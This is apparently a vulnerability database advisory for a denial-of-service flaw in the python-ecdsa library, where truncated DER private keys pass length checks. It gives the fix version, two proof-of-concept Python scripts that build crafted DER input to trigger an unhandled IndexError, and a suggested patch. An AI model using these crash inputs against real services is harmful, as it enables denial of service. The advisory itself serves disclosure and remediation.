VDB
Sign up
MEDIUM5.3

PYSEC-2026-2467

python-ecdsa: Denial of Service via improper DER length validation in crafted private keys

Quick fix

PYSEC-2026-2467 — ecdsa: upgrade to the fixed version with the command below.

pip install --upgrade 'ecdsa>=0.19.2'

Details

## Summary

An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.

1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.

2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.

## Impact

Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.

## Reproduction

Attach and run the following PoCs:

### poc_truncated_der_octet.py

```python from ecdsa.der import remove_octet_string, UnexpectedDER

# OCTET STRING (0x04) # Declared length: 0x82 0x10 0x00 -> 4096 bytes # Actual body: only 3 bytes -> truncated DER bad = b"\x04\x82\x10\x00" + b"ABC"

try: body, rest = remove_octet_string(bad) print("[BUG] remove_octet_string accepted truncated DER.") print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest)) print("Body=", body) print("Rest=", rest) except UnexpectedDER as e: print("[OK] Rejected malformed DER:", e) ```

- Expected: reject malformed DER when declared length exceeds available bytes - Actual: accepts the truncated DER and returns a shorter body - Example output: ``` Parsed body_len= 3 rest_len= 0 (while declared length is 4096) ```

### poc_signingkey_from_der_indexerror.py

```python from ecdsa import SigningKey, NIST256p import ecdsa

print("ecdsa version:", ecdsa.__version__)

sk = SigningKey.generate(curve=NIST256p) good = sk.to_der() print("Good DER len:", len(good))

def find_crashing_mutation(data: bytes): b = bytearray(data)

# Try every OCTET STRING tag position and corrupt a short-form length byte for i in range(len(b) - 4): if b[i] != 0x04: # OCTET STRING tag continue

L = b[i + 1] if L >= 0x80: # skip long-form lengths for simplicity continue

max_possible = len(b) - (i + 2) if max_possible <= 10: continue

# Claim more bytes than exist -> truncation newL = min(0x7F, max_possible + 20) b2 = bytearray(b) b2[i + 1] = newL

try: SigningKey.from_der(bytes(b2)) except Exception as e: return i, type(e).__name__, str(e)

return None

res = find_crashing_mutation(good) if res is None: print("[INFO] No exception triggered by this mutation strategy.") else: i, etype, msg = res print("[BUG] SigningKey.from_der raised unexpected exception type.") print("Offset:", i, "Exception:", etype, "Message:", msg) ```

- Expected: reject malformed DER with `UnexpectedDER` or `ValueError` - Actual: deterministically triggers an internal `IndexError` (DoS risk) - Example output: ``` Result: (5, 'IndexError', 'index out of bounds on dimension 1') ```

## Suggested fix

Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:

- `remove_octet_string()` - `remove_constructed()` - `remove_implicit()`

Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.

## Credit

Mohamed Abdelaal (@0xmrma)

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/ecdsa
Introduced in: 0Fixed in: 0.19.2
Fixpip install --upgrade 'ecdsa>=0.19.2'

References